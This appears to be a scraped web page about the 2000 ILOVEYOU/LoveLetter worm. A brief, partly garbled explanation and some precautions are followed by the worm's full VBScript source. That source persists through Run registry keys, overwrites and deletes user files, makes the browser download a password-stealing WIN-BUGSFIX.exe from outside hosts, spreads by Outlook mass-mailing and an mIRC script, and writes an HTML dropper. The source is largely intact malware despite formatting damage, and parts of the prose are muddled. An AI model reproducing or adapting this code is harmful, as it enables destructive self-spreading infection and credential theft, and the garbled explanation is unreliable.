Futureload406

1. I Love You Virus Definition
2. I Love You Virus Damage

I Love You Virus Definition

Kung maganda ang pakiramdam, mangyaring magustuhan at ibahagi. Salamat sa lahat ng sumuporta sa amin na magkaroon ng mas mahusay na mga video😊😊Become a mem.

The computer, I Love You Virus. Known to users as the ” Love Virus, “it belongs to the worm category, capable of reproducing through electronic networks.

• Loveletter virus source code Below is the text of the pathetic LoveLetter 'virus', for anyone who's interested. It has been reformatted as an plain text/HTML file, so.
• May 01, 2020 It even spawned a movie, ' Subject: I love you,' which depicted the virus creator as a lovelorn man trying to reconnect 'with the only woman he had ever loved.' At de Guzman's college, a fellow.

And also, modifying the files of the infected computer and transmitting it via email when the Internet user opens the file where he stays.

On May 4, 2000, this virus released on the network, quickly filling up the more than 3 million computers.

I Love You Virus was released in the Philippines, making Asia the first country to suffer from its destructive effects, followed by Europe and Russia.

Also Read: What is Phishing? – Definition, Methods, and More

What are the Features of this Virus?

The virus overwrites files with.VBS and.VBE extensions with its code. Delete the files with extensions.JS, .JSE, .CSS, .WSH, .SCT and .HTA, and create others with the same name and extension.

It locates files with the extension.JPG, .JPEG, .MP3, and .MP2, delete them, and create others where the new name is formed by the previous name.

How does this I Love You Virus work?

• After the first start of the “love message” copies itself into the system directories and the registry of the operating system and then searches the computer for multimedia files.
• When the virus found, it changes the data extension and sometimes makes it invisible to the user.
• I then start a fan mailing to the recipients and download a program to steal passwords and send information to the creator’s email address.
• However, computer viruses love letter 2000. The code has been heavily modified, and if its action previously only damaged multimedia files, everything changed over time.
• New versions of the “love message” lead to the failure of the computer, deletion and modification of the system file INI and BAT, which are responsible for loading the machine.

What are the precautions to be taken?

There are still a few versions on the Internet. Viruses are fewer because Kaspersky Lab has long been developing a program that can detect any change in the “love message.”

1. The software checks the script before it runs, and if it detects any malicious code in it, it prevents the script from starting.
2. But already active virus I love you (the creator of this filth, Onel de Guzmán) cannot stop – it can only delete by losing the affected files.
3. In order to avoid such consequences (users who do not consider to protect their PC), it is better not to download suspicious attachments, even if they come with a letter from a friend.
4. It is necessary to double-check with a friend what is in them and make sure that the email was sent by someone, not by a malicious program.

Also Read: What is Kerberos? – Definition, Elements and More

rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq='
ctr=0
Set fso = CreateObject('Scripting.FileSystemObject')
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject('WScript.Shell')
rr=wscr.RegRead('HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout')
if (rr>=1) then
wscr.RegWrite 'HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout',0,'REG_DWORD'
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&'MSKernel32.vbs')
c.Copy(dirwin&'Win32DLL.vbs')
c.Copy(dirsystem&'LOVE-LETTER-FOR-YOU.TXT.vbs')
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
'HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKern el32',dirsystem&'MSKernel32.vbs'
regcreate
'HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunService sWin32DLL',dirwin&'Win32DLL.vbs'
downread='
downread=regget('HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDownload Directory')
if (downread=') then
downread='c:'
end if
if (fileexist(dirsystem&'WinFAT32.exe')=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate 'HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page','http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm
hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe'
elseif num = 2 then
regcreate 'HKCUSoftwareMicrosoftInternet ExplorerMainStart Page','http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw
erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe'
elseif num = 3 then
regcreate 'HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page','http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd
QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe'
elseif num = 4 then
regcreate 'HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page','http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD
GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe'
end if
end if
if (fileexist(downread&'WIN-BUGSFIX.exe')=0) then regcreate
'HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunWIN-BU GSFIX',downread&'WIN-BUGSFIX.exe'
regcreate 'HKEY_CURRENT_USERSoftwareMicrosoftInternet
ExplorerMainStart Page','about:blank'
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&')
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext='vbs') or (ext='vbe') then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext='js') or (ext='jse') or (ext='css') or (ext='wsh') or (ext='sct') or (ext='hta') then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&'&bname&'.vbs') fso.DeleteFile(f1.path)
elseif(ext='jpg') or (ext='jpeg') then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&'.vbs')
fso.DeleteFile(f1.path)
elseif(ext='mp3') or (ext='mp2') then
set mp3=fso.CreateTextFile(f1.path&'.vbs')
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s='mirc32.exe') or (s='mlink32.exe') or (s='mirc.ini') or (s='script.ini') or (s='mirc.hlp') then
set scriptini=fso.CreateTextFile(folderspec&'script.ini') scriptini.WriteLine '[script]'
scriptini.WriteLine ';mIRC Script'
scriptini.WriteLine '; Please dont edit this script... mIRC will corrupt, if mIRC will'
scriptini.WriteLine ' corrupt... WINDOWS will affect and will not run correctly. thanks'
scriptini.WriteLine ';'
scriptini.WriteLine ';Khaled Mardam-Bey'
scriptini.WriteLine ';http://www.mirc.com'
scriptini.WriteLine ';'
scriptini.WriteLine 'n0=on 1:JOIN:#:{'
scriptini.WriteLine 'n1= /if ( $nick $me ) { halt }' scriptini.WriteLine 'n2= /.dcc send $nick
'&dirsystem&'LOVE-LETTER-FOR-YOU.HTM'
scriptini.WriteLine 'n3=}'
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject('WScript.Shell')
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject('WScript.Shell')
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject('WScript.Shell')
set out=WScript.CreateObject('Outlook.Application')
set mapi=out.GetNameSpace('MAPI')
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead('HKEY_CURRENT_USERSoftwareMicrosoftWAB'&a) if (regv=') then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad='
regad=regedit.RegRead('HKEY_CURRENT_USERSoftwareMicrosoftWAB'&malead )
if (regad=') then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = 'ILOVEYOU'
male.Body = vbcrlf&'kindly check the attached LOVELETTER coming from me.'
male.Attachments.Add(dirsystem&'LOVE-LETTER-FOR-YOU.TXT.vbs') male.Send
regedit.RegWrite
'HKEY_CURRENT_USERSoftwareMicrosoftWAB'&malead,1,'REG_DWORD' end if
x=x+1
next
regedit.RegWrite
'HKEY_CURRENT_USERSoftwareMicrosoftWAB'&a,a.AddressEntries.Count else
regedit.RegWrite
'HKEY_CURRENT_USERSoftwareMicrosoftWAB'&a,a.AddressEntries.Count end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1='<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS -
LOVELETTER@-@>'&vbcrlf& _ '<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>'&vbcrlf& _ '<META NAME=@-@Description@-@
CONTENT=@-@simple but i think this is good...@-@>'&vbcrlf& _
'<?-?HEAD><BODY
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.
HTM#-#,#-#main#-#)@-@ '&vbcrlf& _
'ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU. HTM#-#,#-#main#-#)@-@
BGPROPERTIES=@-@fixed@-@
BGCOLOR=@-@#FF9933@-@>'&vbcrlf& _
'<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to
Enable ActiveX<?-?p>'&vbcrlf& _
'<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQU EE> '&vbcrlf& _
'<?-?BODY><?-?HTML>'&vbcrlf& _
'<SCRIPT language=@-@JScript@-@>'&vbcrlf& _ '<!--?-??-?'&vbcrlf& _
'if (window.screen){var wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}'&vbcrl f& _
'?-??-?-->'&vbcrlf& _
'<?-?SCRIPT>'&vbcrlf& _
'<SCRIPT LANGUAGE=@-@VBScript@-@>'&vbcrlf& _ '<!--'&vbcrlf& _
'on error resume next'&vbcrlf& _
'dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit'&vbcrlf& _ 'aw=1'&vbcrlf& _
'code='
dta2='set fso=CreateObject(@-@Scripting.FileSystemObject@-@)'&vbcrlf& _
'set dirsystem=fso.GetSpecialFolder(1)'&vbcrlf& _ 'code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))'&vbcrlf& _
'code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))'&vbcrlf& _ 'code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))'&vbcrlf& _ 'set
wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)'&vbcrlf& _
'wri.write code4'&vbcrlf& _
'wri.close'&vbcrlf& _
'if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then'&vbcrlf& _ 'if (err.number=424) then'&vbcrlf& _
'aw=0'&vbcrlf& _
'end if'&vbcrlf& _
'if (aw=1) then'&vbcrlf& _
'document.write @-@ERROR: can#-#t initialize ActiveX@-@'&vbcrlf& _ 'window.close'&vbcrlf& _
'end if'&vbcrlf& _
'end if'&vbcrlf& _
'Set regedit = CreateObject(@-@WScript.Shell@-@)'&vbcrlf& _
'regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^
-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@'&vbcrlf& _ '?-??-?-->'&vbcrlf& _
'<?-?SCRIPT>'
dt1=replace(dta1,chr(35)&chr(45)&chr(35),'')
dt1=replace(dt1,chr(64)&chr(45)&chr(64),'') dt4=replace(dt1,chr(63)&chr(45)&chr(63),'/')
dt5=replace(dt4,chr(94)&chr(45)&chr(94),')
dt2=replace(dta2,chr(35)&chr(45)&chr(35),'')
dt2=replace(dt2,chr(64)&chr(45)&chr(64),'') dt3=replace(dt2,chr(63)&chr(45)&chr(63),'/')
dt6=replace(dt3,chr(94)&chr(45)&chr(94),')
set fso=CreateObject('Scripting.FileSystemObject')
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),'',chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),'',chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),',chr(37)+chr(45)+chr(37)) if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&'&vbcrlf& _' end if
next
set b=fso.CreateTextFile(dirsystem+'LOVE-LETTER-FOR-YOU.HTM') b.close
set d=fso.OpenTextFile(dirsystem+'LOVE-LETTER-FOR-YOU.HTM',2) d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub

I Love You Virus Definition

I Love You Virus Damage